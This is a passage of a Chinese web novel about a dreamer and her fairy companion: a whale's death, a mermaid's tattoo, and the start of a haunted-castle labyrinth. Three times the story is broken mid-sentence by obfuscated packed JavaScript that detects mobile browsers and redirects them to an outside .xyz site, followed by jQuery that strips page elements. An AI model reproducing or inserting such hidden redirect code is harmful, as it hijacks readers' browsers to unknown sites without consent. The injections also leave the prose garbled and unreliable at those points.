“嘿嘿嘿,知道我是谁吗……怎么还是记不住啊?我是咔呜啦!不是咔呜啦,我叫咔呜!咔呜!” “阿雪~阿雪~猜猜我是谁?我是咔呜,跟我念:咔、呜。我们是非常非常好的朋友哦。” …… 曾经咔呜每一次去找北冥雪玩时,第一句话就是看看她有没有忘记自己,然后咔呜再一次次不厌其烦地介绍自己,说明她们是好朋友的关系。 时隔五百年,咔呜再一次说出同样的话语,将北冥雪瞬间拉回过去。 “咔呜……”北冥雪的声音已经哽咽了,但嘴巴还在下意识地张合,“我记住了,我保证下次会记得的。” 咔呜的声音再次传来,语调温柔又怀念:“你骗人,你上次也是这么说的,这次还不是又忘了。” “呜……”曾经的北冥雪被噎得无法反驳,如今的北冥雪呜呜地哭出声,被自责填满胸腔,“对不起,咔呜,我把你弄丢了。你那么大一只,我还找了那么久都没能找回来。” 咔呜挥动着鳍蹭蹭北冥雪的脸,说:“因为我长大了,我长得太大了,你都认不出来了。” 北冥雪摇摇头:“不是的,不是这样的……” “不说这些不开心的了。”咔呜将鳍轻放到她脑袋上,“阿雪,我们曾经说好,等我回来,我们去看星空,看流星雨的。我们现在就去,好吗?” 北冥雪哭得不能自已,重重点头。咔呜立刻将她顶在背上,往海面游去。 游到海面时,太阳已经偏西,橙红的晚霞将海面染红。 看见老前辈往上,不少鲸群竟然也跟着一同往上游。一条年幼的小鲸鱼从背后猛地将海旗乘到自己身上,备受惊吓的样子惹得星星一阵嘲笑。 “星星,我有不好的预感。”海旗望着游在前头的咔呜说。 星星也凝重了脸色:“我想,你的预感是对的。但这是她们的宿命,我们无从插手。” 海旗迷茫了:“可梦境产物不是虚幻的吗?也会有属于自己的宿命吗?” 星星沉默了,她也不知道答案。 23. 鲸落 相较于巨虫之森的弱肉强食,海底世界这个短暂的故事更为触动人心,让人忍不住想靠近。 望着已经逐渐冷静下来的北冥雪和咔呜看着落日相谈甚欢,回忆往昔。海旗问:“北冥雪和咔呜是不是也是我自身潜意识的代表?” 这个问题星星可以回答:“是,她们在这个世界的诞生皆来源于你,包括青凤在内。” 海旗感慨道:“也就是说,我相当于是创造她们的‘神’。当我来到她们面前,却又不知道我就是创造她们的‘神’。而在我不明真相前,我也是被‘我’所创造出来的。好神奇。” “要是现实中的你比想象中的还要不堪,你会失望吗?”星星突然发问。 海旗转头看她:“为什么这么问,这不是已经能确定的事实吗?” 梦境会映射人心中的欲/望。因为现实得不到,只能在梦境里短暂成真。 “你看,这里和巨虫之森不同,这是一个美梦。有美丽的人鱼,有梦幻的海底世界,还有美好的友谊,你不想留在这里吗?”星星的眼神闪烁,话语间也在诱惑海旗留下。 海旗望着不太宁静的海面沉思,说:“我想,我一定是溺过水的。只不过梦境的虚幻让我暂且在水里能呼吸能说话,短暂地忘记恐惧。一旦我跃出海面呼吸到新鲜空气后,我的心才能真正得以松懈。我很喜欢海,也喜欢梦幻美好的事物,可我也无法克服对水的恐惧。这些看似美好的事物,不过是梦魇为我加上的滤镜。” 此刻的海旗其实和北冥雪有那么一丝相像,对于现实的记忆没有任何头绪,现在脑子里的这些则是被虚假的故事所霸占着的。 偏偏还不能将这些虚假记忆丢掉,或者说,海旗还不愿意丢。她不想盲目地前行。 星星叹了口气:“其实,如果你真的想要忘记对水的恐惧的话,你是可以做到的。” 海旗的脑袋上蹦出来一个问号:“真的吗?我怎么不知道?” “额……”星星抬手捂住嘴,意识到自己说错话,尴尬地笑了笑,“要不你自己悟一下?” 天渐渐黑下来了。海旗又扫了一眼北冥雪那边,没有继续逼问:“算了,还是不要随便忘事的好,我怕我真的溺亡了。” 星星赞同地点点头:“对的对的,你的担心是对的,要是你溺水了,我真的拖不动你。” 海旗说:“你看,这个故事的主角是她们。” “——所以,我不会沉溺的。” 北冥雪这边,咔呜还是和小时候一样,依然很多话来说。琐碎平凡的话语,让北冥雪抓住了许多记忆。她都不知道,原来已经过去了五百年之久啊。 五百年,纵使海洋宽广无垠,也没有让她们再相遇过,老天好不公平。 咔呜说:“这些年我一直在找你,一直在打探有没有谁见过一位美丽的人鱼公主,只要有一丁点消息,我都会前去找寻,即使最后失望而归。” 北冥雪心疼地看着咔呜,最后只挑了话语中对自己的称谓来说:“人鱼公主?可我并非什么公主。” 悲伤与无奈已成过往,不必常常回味。 “阿雪,你是我心目中的最美的人鱼公主。”咔呜抬头望天,“你看,月亮也出来了,今晚是圆月呢。在月光下闪闪发光的美人鱼,可不就是公主嘛。” 当重逢的喜悦退却,望着周围不断跃出海面的鲸群,北冥雪的心中也已然明了。 她没有顺着抬头,只是看着咔呜的眼睛。现在的咔呜好大,必须离得很远才能将其看得完整。 “今晚流星雨会来吗?人鱼公主还需要更美的流星雨来衬托才行呢。”北冥雪轻轻拍着咔呜,突然好担心。 咔呜笑道:“我有预感,流星雨一定会来的。” 今夜月明星灿,星空下鲸群呜呼高歌,演奏着一场大合唱。 “快到时间了。”听着优美的合唱,星星的眼里蓄满了泪水。 海旗躺在小鲸鱼的背上,看着漫天星空。遥想童年时,也是如此躺在地上,期待流星出现。直到一颗渺小的星星忽然掉下去了。 “有流星!”海旗激动地喊了一声。 北冥雪应声抬头,又有零星几颗流星划过。 “咔呜,快看!我们等到流星了!” “呜——呜——”咔呜迎合着鲸群的大合唱,也在回应北冥雪的话。 北冥雪仰着头,张了张嘴。然后,动听的歌声也融合进大合唱中。 “阿雪,能再见到你,我好开心啊。” 咔呜的声音再次传入北冥雪耳朵时,已经不如先前灵动了。 “我也好开心……可是我好笨啊,我一点儿也不会说话,这时候我都不知道要说些什么话来讨你开心……”她知道,咔呜撑不下去了,流星要看不见了。 咔呜:“我看见你就已经很开心了,我们还兑现了诺言,再一次一起看星空看流星雨。” 北冥雪:“可是,我还想一起再看好多次流星雨……对不起咔呜,都怪我的遗忘症,我要是不会忘记你,你就不用这么痛苦了……” 鲸鱼的寿命只一两百年,而咔呜却强撑了五百年,只为再见到童年时将它遗忘的挚友。 咔呜:“不要责怪自己,我现在觉得遗忘症挺好的。阿雪,你要开心,你要一直开心。我喜欢看到开心快乐笑着跟我说话的阿雪……” 北冥雪:“……不好!才不好呢!我一点儿也不想忘记你!咔呜,我不会再忘记你了!真的,这回不会忘了!” 咔呜:“不,我希望你这次也要忘了我……阿雪,你要开心……” 北冥雪几乎要听不清咔呜的话了,咔呜的身体在缓慢下沉。 同时有一抹光亮从咔呜的身体脱离,在海中往海旗的方向游去,无人瞧见。 鲸群的曲调哀伤悠扬,即将迎来高/潮的乐章。 海旗跳下小鲸鱼的背,往北冥雪那边笨拙地游过去。最后发现自己还是只会往下沉,让星星拉着借力才游过去的。 感觉到自己被人扶住后,北冥雪靠在海旗肩膀上,呜呜地开口:“我听不见咔呜的声音了……”海旗则轻轻拍着她的背。 前面托着海旗游上海面的小鲸鱼此时也靠近过来,用头蹭了蹭了北冥雪。 北冥雪低头看了看这只小家伙,眼泪更是收不住了。 鲸落,万物生。 鲸落是深海中最为悲壮,也是最绚丽的一场回归礼。 咔呜的躯体将永远坠入黑夜,也会在深海中成为滋养光明的养料。 海旗只觉得自己何其有幸,得以见证海洋中这醉人的温柔、极致的浪漫,也是自然界最残酷的慈悲。 一/夜无眠,小鲸鱼将海旗和北冥雪送到了一座孤岛的海滩上。 “人鱼姐姐,”小鲸鱼用着和咔呜一样的方式与她们开口,“首领说过,下次人鱼姐姐可以和我们一同启程,到时你要来吗?” 北冥雪愣了一下,再次抓住其中一抹记忆。看来咔呜曾如愿成为鲸群的首领,兑现了曾经的诺言。 她颤/抖着声音问:“我真的……可以去吗……” “当然!”小鲸鱼热切地看着她,“你来的话,下次换我带你来看星星。” “我……”北冥雪不敢再轻易迈出这一步。 见气氛逐渐僵滞,海旗插话道:“小家伙,可以给人鱼姐姐一点时间思考一下吗?” “当然可以,那我过几天再来找你,人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633712|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼姐姐再见。”小鲸鱼说完就钻进水中游走了。 海旗拉着北冥雪在沙滩上躺下:“阿雪,不要着急,慢慢思考。” “嗯……”北冥雪掩面痛哭,任由海浪冲刷拍打。 海旗拉着星星走进孤岛中,给她空间和时间怀念以及悲伤。 “她还好吗?”星星远远地看着,担忧地问。 海旗将她拽过来:“别看了,我们去孤岛探险吧。” 这座岛屿很小,一眼望尽。岛上除了海滩只有平坦的草地。说是岛,其实更像海面凸/起的一块巨大石头。 岛的四面皆是一望无际的海面,除了海浪和时不时跃出海面的鱼儿,别无他物。 “还记得青凤将我丢进海里前,亲吻我额头的那一下吗?”海旗抚摸着眉心被亲吻过的位置,转移话题道,“那就是我在巨虫之森这个梦境世界的意识体吧。” 星星飞到她前面,凑到眉心处嗅了嗅:“没错的,确实是意识体之一,代表着对美好的祈愿。” “原来是对美好的祈愿啊,我还以为是唤醒我对溺水的恐惧呢。”海旗自嘲道。 星星说:“对水的恐惧是本能,不用唤醒的。” “我谢谢你啊。”海旗瞥了她一眼,“那是不是意识体回归到我身上之后,梦境空间就会崩塌?” 星星嘿嘿道:“对,之前说过的,梦境空间就是以你的意识为基础构造的。所以被寻回之后,那个梦境也就瓦解了。” 来到孤岛的另一边,海旗坐下来望着波涛汹涌的海面:“也就是说,巨虫之森已经被瓦解了……” 星星贴着海旗坐下:“你是在担心青凤吗?” “被青凤丢进海里之前,我好像看到了巨虫之森的原貌了。”海旗回忆道,“茂盛的大树变成了紧挨着的居民楼,然后在一瞬间坍塌了……青凤是不是也会随之消失?” 星星问:“你知道巨虫之森的意识体藏在哪儿吗?” 海旗反问:“哪儿?” 星星说:“藏在青凤破茧而出时的茧丝里,也是青凤将它带出来归还于你的。” 也就是说,青凤的存在本就是海旗意识的化身之一。 海旗扭头看她:“你怎么知道的?你之前不是说你不知道的吗?” “没找到之前,我确实不知道。”星星叹了口气,直视海旗的眼睛,“找到以后,你的意识体会告诉我的。不用怀疑我,你只要知道,我一定是不会伤害你的。” 因为先前幽夜和幽野的相似让海旗心里有一丝诡异感,但又还想不明白异样的来源。 仔细想想,星星的出现也是充满了诡异的,像个梦境衍生物突然出现,而自己也莫名地对她产生信赖。 “你本身会不会也是某个梦境空间的意识体啊,星星?”海旗的脑袋突然明亮。 星星一听闻,立马笑出声:“你太有想法了哈哈哈……” 海旗反问:“笑什么?我猜错了?” 星星十分神气地说:“是啊。不过别灰心,以后你会知道的。这可是我对你的保留节目。” “那就以后再说吧。还是先想想眼下的事吧,不知道北冥雪好些了没有。”幸好海旗也不轴,不再继续追问。 又吹了好久的海风,衣裳和头发都已经干了,好久没有这么清爽过了。海旗看着身上随风飘荡的白裙子沉思,不知道控梦术能不能给自己换身衣服? 算了,先去看看北冥雪吧。 重新回到孤岛一侧时,北冥雪也是坐着的,怔怔地望着海面发呆。听到身后的动静才动了一下回头。 “海旗,有什么办法可以让我永远记得咔呜吗?”北冥雪无助地问,“我真的……不要忘了它。” 24. 城堡迷宫、启 妄想用记忆铭记是最没用的,无论是北冥雪还是别人来,因为时间终会抹平所有痕迹。 但也未必毫无办法,北冥雪曾用最笨拙的方式将与咔呜的记忆刻在石头上。 可惜一旦院里石头,连镌刻这回事也会一起遗忘。 那不如……“把咔呜刻在你的身上,就像曾经你将咔呜刻在石头上一样,如何?” 在人类世界里,有人通过纹身将信仰留在身上,也有人用纹身铭记逝去的感情。 同理,北冥雪的目的便是后者。 北冥雪没有一丝犹豫:“好,那我该怎么做?你可以帮我吗?” 海旗笑着拉住她的手:“当然,我会帮你的。” 说是这么说,可海旗哪里会纹身术?后来星星也提醒道:“你连画画都画得四不像,更何况要为人鱼姐姐纹身?” 海旗找来一些细长石头:“你就别在这时候挖苦我了,梦境世界里充满一切可能好吗?先陪我在沙滩上练习一下设计稿。” 练习了一段时间后,画技竟然真的见长了不少。至少能画出完整的鲸鱼形状了,就是细节还有待提升。 “可是你光画得像也没用啊,你又没有纹身工具,怎么让它变成永久式?”星星趴在沙滩画前说。 海旗自信道:“你忘啦,我会控梦术啊。” “就你那半吊子控梦术……”星星精准打击道,在收到海旗投来锐利的眼神后,及时闭嘴,“一定可以做到的!” 其实海旗心里也没底,但她想为北冥雪和咔呜做点什么。 在沙滩上设计好图纸,询问过北冥雪后又精心修改,终于确定了最终的定稿。 图形是简笔画的简易创作,是小咔呜和小美人鱼一同跃出海面后腾空欢乐大笑的场面。其中小美人鱼跃得要高些,咔呜整个身体还有小半在海面下。 海旗用控梦术变换出了彩色笔,在北冥雪的手臂上刻画下图形,最后再利用控梦术将画作印入人鱼的皮肤中,形成纹身的效果。 完成后,北冥雪盯着手上的纹身看了好久,一直和海旗重复了“谢谢你”谢谢你。 “你想好了吗?此后的旅程要跟上鲸群吗?”海旗问她。 北冥雪点点头:“这是咔呜为我争取的未来,我想去。海旗,你要和我一起吗?” 没想到北冥雪会对自己作出邀请,海旗有些意外,但她拒绝了:“不了,我还有需要前往的地方。接下来我们就不同路了。” “这样啊……”北冥雪有些失落。 海旗拉过她的另一只手,在其手上写下了两个名字:“接下来虽然不同路,但我们已经是朋友了。你也不能忘记我和星星哦。” 北冥雪看不懂:“这是什么?” “这是我和星星的名字。”海旗教她认着字,除此之外,咔呜和她自己的名字,都教给了她。 北冥雪对人类的文字有了兴趣,见她逐渐走出悲伤,海旗也乐于施教,在孤岛上短暂地度过了一段快乐的时光。 三天后,小鲸鱼来问北冥雪要答案了,北冥雪跟着小鲸鱼回到了海洋的尽头,从此有了归宿。 “接下来,就是我们真的要大海捞针,寻找潜藏在不知何处的意识体了。”海旗叹了口气,想到接下来要做什么就很疲惫。 “放心吧,不会很难找的。”星星的小手拍了拍海旗的肩膀。 “累了,先让我睡会儿,等我睡醒再说吧。” 海旗往草地上一趟,迎着温柔的海风沉沉睡去。星星小小一只也贴着她睡着了。 - 这一觉睡得特别舒服,一个翻身摸到什么软乎乎的东西,手一揽直接抱着睡得更香了。 有种久违地回到了自己的房间,躺在软软的床垫和枕头上,抱着哥哥买的巨大棕熊玩/偶,一觉睡到天亮。 “叮铃铃——”闹钟响了! 海旗伸出一只手按掉闹钟,转身继续睡。 半分钟后,猛地惊醒坐起来,顶着一头凌乱的鸡窝头,看着盖在身上的米色薄被,星星正在被子上呼呼大睡。 没记错的话,她是躺在海中一座小小的孤岛上吹着海风睡着的……睡醒后怎么有床躺了? 海旗揉了揉眼睛,再睁眼一看——不是幻觉! 现在的自己身处一个暖色调的温馨少女的房间里,阳光从床头的窗户中斜射进来,照耀在身上。 房间里有一个浅色的大衣柜,衣柜旁有一个小沙发。床的左边是一张白色书桌,桌上放着一个肿着仙人球的小花盘,还有零星几本书和一个信封。 我不是在做梦吧?等等……不太对,我好像确实在做梦没错…… “星星!快醒醒!”海旗被子一掀,抓起星星就是一顿晃。 星星脑浆快被摇匀了:“……干嘛呀?” 海旗问:“这里是哪儿啊?我海底的意识体还没找到呢!” “沙沙……欢迎来我的城堡做客,海旗小姐……沙” 一道低沉的男性嗓音伴随着电流的沙沙声从那盆仙人球后传出来。 海旗放下星星,爬到书桌旁移开花盆一看,原来是藏了个对讲机在后面。 将对讲机拿过来第一件事就是先关掉,再次环视房间彻底清醒过来后,说:“所以这是下一个梦境空间了对吧。” 看似询问其实是肯定。星星还在被子上犯晕乎,闻言下意识点点头。看来她们在某个未知的时刻已经找回了意识体而自己还没发觉。 蔚蓝海域的故事已经结束,希望北冥雪在鲸群的未来一帆风顺。 海旗立刻下床先打开衣柜看了下,早就想把身上这身包浆了的白裙子换掉了,衣柜里恰好塞满了衣服,还都是合身的尺码。 挑了身顺眼的先去好好洗漱了一番,换上干净清爽的居家服,再把星星也丢进卫生间强行洗刷了一遍。 都沐浴完后窗帘一拉,抱着星星钻进被窝里,不管不顾舒舒服服地睡了个回笼觉。 此时此刻被强行关机的对讲机:“……” 睡到自然醒的感觉真是太好了,整个人都神清气爽。 别的不说,这个梦境空间的开头就很舒适,知道自己劳累了两个世界需要得到充分的休息,还没有被打扰,看来这次不会太艰难。 睡饱后,海旗终于观察起了这个世界。房间内就是很温馨的少女房间,而从窗户往外望去,这个房间似乎在楼层的最高处。 “哇!好高啊!”星星趴在窗口上发出赞叹。 窗外是一片云雾,而房间有太阳光是因为在云海之上。又想起来前面听到对讲机说的“城堡”,转头往上看,果然有属于城堡尖尖的标志性建筑。 海旗眼睛一转,指着那片云雾怂恿道:“说不定那层云只是干冰弄的,是假的。要不你飞过去探探情况?” 星星奇怪道:“可以是可以,但我怎么感觉你不怀好意?” “哪有?你感觉错了,快去快回呀!”海旗否认,还催促道。 星星抓了抓脑袋,往窗外飞去。结果在冲进云雾的前一刻刹住了车,犹豫半晌还是返回房间里了。 “不行!我感觉云雾底下不太妙! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639864|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”星星吓出了一身冷汗。 海旗嘲笑她:“怎么?地下难不成有什么妖魔鬼怪?” 没想到星星坚硬地点了点头,瞳孔都放大了:“我感觉是的。” 海旗:“……” 星星收收惊之后,指了指房间门:“我们还是走正经道路吧。” 盯着紧闭的门扉,海旗心中也不由感到恐慌,缓步走过去抓住门把手:“……我感觉这个门会打不开。” 缓缓将门把手往下拧时,星星感觉自己的心都快跳出来了,赶忙飞过去抓住海旗的手:“谨慎起见,我觉得我们还是先观察一下房间内部吧!” “你说得有理。”海旗松开手连忙推开,远离门扉。 房间不大,一眼就望完了。海旗再次注意到桌面上的信封,这也是唯一能提供有效信息的东西。 将信封拆开,里面除了一封信还有一张空白的玫瑰明信片。 把信件展开的同时,旁边的对讲机发出了沙沙声。海旗拿过对讲机再次关上,结果已经是关闭状态。 “……你好啊,海旗小姐。”对讲机那头的男人出声问候。 “星星,你说他会是幽夜还是幽野的其中之一吗?”海旗将信纸拉起来遮挡住嘴,贴着星星的耳边小声问。 星星也小声地反问:“你怎么确定是他们俩之一?” 海旗说:“直觉。而且我直觉他们俩还是同一个人,不安好心的那种。女人的第六感你懂吧。” 星星点头肯定:“我懂,那我信你,那怎么处理掉这个东西?” 对讲机那男的:“……我听得见。” 海旗&星星:“……” 下一秒,海旗把对讲机拿到卫生间,打开水龙头蓄满一池子水后,直接丢进水里。 做完这一切后海旗和星星开始查看信纸上的内容: [亲爱的妹妹: 你好呀! 欢迎来到我的城堡。 能麻烦你将信封里的玫瑰明信片带给我吗,我在城堡的地下室等着你。 这座城堡是父亲送给我们的礼物,但父亲不太喜欢我,我只得到了地下室的房间。 对了,你过来的路上要小心,不要让父亲发现了。还有,父亲在城堡里养了些小宠物,记得不要惹恼了它们。 方便的话,再去花园里给我摘一枝玫瑰带过来吧,最好是红色的,越红越好哦。我要用来送给我最喜欢的人。 当然了,我不会让你平白无故做这些的。等你来了,我会付给你相应的报酬。 那么亲爱的妹妹,你想好向我讨要什么了吗?] 信件没有落款,内容也充满了诡异感,还十分不合逻辑,更像是一封恶作剧的信。 海旗和星星是面面相觑。海旗问:“怎么办,要按信件上说的去给地下室这个人送明信片和玫瑰吗?” 星星看着海旗:“我们也没有别的选择了。你害怕吗?” “怕归怕,但我感觉我更多的是兴奋,”海旗此刻已经是两眼放光,“有种身处鬼故事之中的爽感。” 星星抓着她的手,郑重地交代道:“那你记得别死啊,别玩脱了,谨记死了可就真的死了啊!” 海旗保证道:“放心吧,我还想活呢!” 又看了看信件内容,推测道:“你说,这信里提到的父亲,会不会是对讲机里说话否认那个男的?他前面说过,这里是他的城堡。” 卫生间里在咕噜冒泡的对讲机:“……我不是……” 星星:“他怎么还能听得到我们说话?” 25. 会消失的阶梯 “别管他。” 海旗将信纸折好,和明信片一起装回信封里。又去衣柜里挑起了衣服。 星星没看懂这波迷惑操作:“你这是干嘛?” “挑身合适的衣服,然后给地下室的小姐姐送明信片。”海旗认真地比对着花样繁多的衣裳,“我看看有没有合适你穿的,也给你挑一套。形象还是很重要的。” 星星一听眼睛亮了一下,也飞过去一起挑选,指着一套仙气十足地长裙说:“这身好看耶!不过你怎么知道地下室那个就是小姐姐了?而且你这么轻易就决定要做这件差事了?” “这套不行,不方便行动。”海旗否决了星星选的裙子,往简便干练的方向挑选,“第六感啊,你不觉得那些文字念起来很有传统鬼故事里那种小娃娃小女鬼写的感觉吗?而且也不是很轻易地决定,这是我结合了前面两个梦境空间的经验而下的决定。” “那你都总结了什么经验?”星星又挑了一件红色小短裙推荐道:“穿这个的话你可以融入进女鬼群里,是个很好的掩体耶。” “好看是好看,但是太短了会走/光耶,不要!”再次否决掉星星的选项,自己先选定了一件咖色衬衫,“因为之前两次都是初到一个梦境就会被迫招惹上事情,而在我的插手下完成青凤的化蝶、寻回北冥雪遗忘的友谊后,意识体也跟着莫名其妙找回来了。所以我想,每一个梦境空间都不会需要我只做一个旁观者的,我必须参与进去。” “那我们确实没得选,必须走地下室这一趟了。”星星若有所思地点点头,“不过我总觉得房间之外的气息非常不妙,这次我们不会太顺利。我先声明,我们这回不能失散,也不能离开对方的视线范围之内。否则后果很严重……” “我也感觉不太妙,所以从细节开始就要做好准备。”海旗从一堆衣服里看了半天还是选了最初一眼就挑好的,满意地换上了。 同时为了美观,海旗还选了一件黑色长袖给衬衫打底,搭配一条黑色紧身裤,孔雀蓝的短卷发也被束成短马尾扎在脑后。房间里鞋子也不少,又选了一双咖色短靴穿上。整体看上去就是干练精神,手上要是有个刀枪棍的,看起来就很能打。 “哇哦~不错,不愧是人靠衣装马靠鞍。”星星毫不客气地赞赏。 “先敬罗衣后敬人嘛。放心你也有的,我给你整一套出来,用控梦术。”海旗给星星穿上和自己翻版的小衣裳,不过把紧身长裤改成了棕色短裤,把高马尾也换成了两个双丸子头。看起来可爱俏皮多了。 星星照着镜子不解地问:“为什么给我成绑两个小丸子?好幼稚。” 海旗还找来两个深色的小发卡给别了上去:“这样不会被女鬼扯头发啊。” 星星指着海旗的马尾:“那你的也是马尾啊?” 海旗说:“我头发短啊,扎成这样反而不容易被抓到。” 星星无话可说了。 海旗找了个背包,把信件装进去,还放了一些尖锐的头饰,说:“好了,还差个顺手的武器就可以出门了。” 又在房间里东找找西看看,最后把洗手间里淋浴的管子拆了。觉得不够,从铁架床上又拆了根铁管,抓在手上一掂量,安全感足足的。 星星上上下下打量了一番后给出评价:“你看起来像要去打劫的。” 海旗的手已经握在门把手上,贴在门上听着外面的声响,小声说:“你说,门后面会有东西吗?” 门外一片寂静,什么也没听见。手慢慢往下拧一下,心里不妙的预感就加深一分,心跳也愈来愈快。星星更是紧紧拽住海旗的袖子。 “吱呀”一声,门打开了一条缝。从门缝中往外探视,除了一片黑暗却什么也看不见,与阳光少女房形成了鲜明的对比。 按捺住惶恐的心,将门缓缓打开,准备踏出长廊时,一滴液体从上方滴在海旗的脑门子上。 海旗咽了口口水,僵硬地抬头往上看——门框上什么也没有,只有不知从哪儿渗出来的液体往下滴。 液体是红色的,明显是血液。海旗摸了一把脑门,麻溜地把门一关,进洗手间去了:“……等我洗个脸先。” 星星拍了拍胸口:“……吓死我了!” 之后抽了一把衣柜旁边的雨伞,打开伞再次拧开门没有一丝犹豫就踏出去了。 身后的门“嘭”一声就关上了,又将两人吓得一惊。 星星小声地问:“你说这个门再打开的话还是原来那个房间吗?” 海旗握紧了手中的伞:“总之,咱们不能乱开陌生的门就对了!” 门外的长廊很暗,但还不至于什么也看不清。阳光房处于长廊的最末端,要往地下室去,她们得先找到向下的楼梯。 不知道城堡里面有没有配备电梯?不过有的话应该也不会让她们顺利地坐电梯下去吧? 眼前只有一条向前延伸的路,海旗只能一步一张望地缓缓前行。长廊的两边挂了几幅装饰画,还有就是其他房间的门。 这些门与阳光少女房的门是不一样的,只有少女的房门是米白色的,而其他房门都是暗沉的桃木色。不知这独树一帜的房间代表了什么呢? 穿过长廊后,果然在右边发现了往下的楼梯。顶上没有奇怪的液体往下滴了,海旗把伞收了挂在背包带上,走近一看,就被底下凌乱弯曲的楼梯、走廊,还有随处可见的门扉惊呆了。 海旗和星星异口同声地发出惊叹:“我的妈呀!” 谁能分得清这些路线啊,有下着下着往上的,有上着上着又斜下去的,有半截楼梯后又是长廊的,还有像任意门一样立在原地的门扉。 这哪里是富丽堂皇的城堡,这就是阴暗迷宫! 星星指着底下问:“我们真的要下去吗?这个感觉很不好啊!” 海旗耸耸肩:“没有别的路,我们只能迎难而‘下’了。等我一下先。” 回头用铁管划破墙壁,划了个五角星的形状作为标记,又在旁边划了个指向楼梯口的箭头。 星星恍然大悟:“哦~这样至少迷路回来的话也能知道往哪儿走了。” 海旗说:“嗯,走吧。我们得在路上做好标记。” 当脚踏入第一个阶梯,海旗只觉一阵失重,一脚踩空往下掉。 脚下的楼梯该死的竟然消失了! 幸好最近练就的超绝反应力让她快速抓住走廊边,这才没有造成室内坠楼的惨案。 “我/操!怎么还有陷阱啊!”吓得海旗已经爆粗了。 星星飞在空中拽着海旗的衣领,企图将她拽回安全地带。但是这里不比当初在海里,还有水的浮力减缓重量。 “啊——我拉不动你啊,海旗!”星星已经使出了吃奶的劲儿了,“你自己可以爬上来吗?” 除了双手死死地抠住长廊边缘,海旗的身体就是悬空的,脚下根本没有任何可以借力的地方。 “救命,我为我以前不好好锻炼而忏悔!所以小星星,我只能依靠你了!”海旗艰难地摇头,“还有,我快支撑不住了……” “我就那么点大,你不要依靠我啊!”星星崩溃道,“对了!用控梦术!” 海旗的一只手已经滑下来了,正在努力再次够上去:“不行啊,我现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646880|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在没办法专心啊!” 星星望了底下深不见底黑洞般的空间,怒吼道:“不行也得行啊,你想摔成肉泥吗?” “说不定半空有什么透明的地板能把我接住让我苟活下来了呢?”海旗侥幸道。 星星咆哮道:“都这种时候了,你就不要自欺欺人了!” 海旗的脑子被失重那一下吓得乱乱的,好不容易找回一点思绪,闭上眼睛专注,脑子里的弦刚绷紧,就觉得右脚踝一紧,有什么东西抓住她的脚了! 头一低,底下一个满是血的光头脑袋正仰头咧着嘴朝自己“嘻嘻嘻”地笑,嘴巴已经裂到耳朵后去了。抓着她脚踝的血手像是被鞭子抽过似的血肉绽开,还有长长的血红指甲隔着裤子刮在小腿上。 比起害怕,此时海旗感到更愤怒:“操!我的新衣服!”干净的衣服上身还没超过半小时就被弄脏了。 于是海旗奋力一甩,将已经滑下来的手又甩回长廊上抓住,用另一只脚使劲地踹那只血手,试图踹开它。 星星本来也被吓了一跳,但更是被海旗的操作惊呆了:“这都行?” 很快,在海旗怒气冲冲地狂踹下,血手被踹断了。身体掉下去了,留下断手在脚踝上。 “我不帮你扒开那恐怖东西啊!”在海旗开口前,星星率先摆手抗议。 海旗:“……我就想说一下,我快没力气抓住了。”然后两只手支撑不住,整个人往下坠。 星星还揪着衣领呢,自然也一起失重,眼睛一闭:“啊——” 但是很快就落地了摔在海旗背上。 “呼!吓死我了,还以为要摔死了。”海旗将星星弹开站起身先把脚上的断手扒开,拍了拍弄脏的地方。 星星睁开眼看到的是一面白墙:“这是哪儿啊?” 海旗说:“这是我当初第一次用控梦术保命的小空间。就是这回不知道会不会有什么主再把我们拉回去。” 还记得这个小空间曾被虫主蹂/躏得不成样子,还摇出莫名其妙的东西来。但现在再看,除了四面白墙以外并无其他物件。 星星回忆了一下当时情形:“我记得从这里离开后好像是会回到原位的吧?” “应该……不会吧?”海旗安慰自己道,“当时那时幽夜搞得鬼才会那么狼狈的,现在他又不在。” 而且对讲机还在水池里泡着呢。 “那你试一下返回到安全的位置去?”星星说。 “好咧,那你抓紧我。”海旗自信满满道。 说时迟那时快,海旗一个凝神,画面一闪,两人就回到城堡里了,是楼梯之上安全的位置。 眼前的景象却已经变换了方位。原本从房间里直直出来的长廊不见了,转身一看,楼梯之下的情景也像是大改过,和前面看过的完全是两幅画面。 “标记的五角星不见了!”星星指着平整的墙面道。 海旗说:“看来这招不能再用了,这个城堡像是活的一样,一不注意就会变啊!” 想了想,还是重新在原来的位置上做了标记,还谨慎地标上序号。之后小心地先在楼梯上踮了踮脚,以防踩空。确认能踩实后再踩上去。 她们的路线不变,还是得往下走。下了七八级台阶后,果然试探到了一级虚的。跳过这级后结果下一级竟然也是虚的! 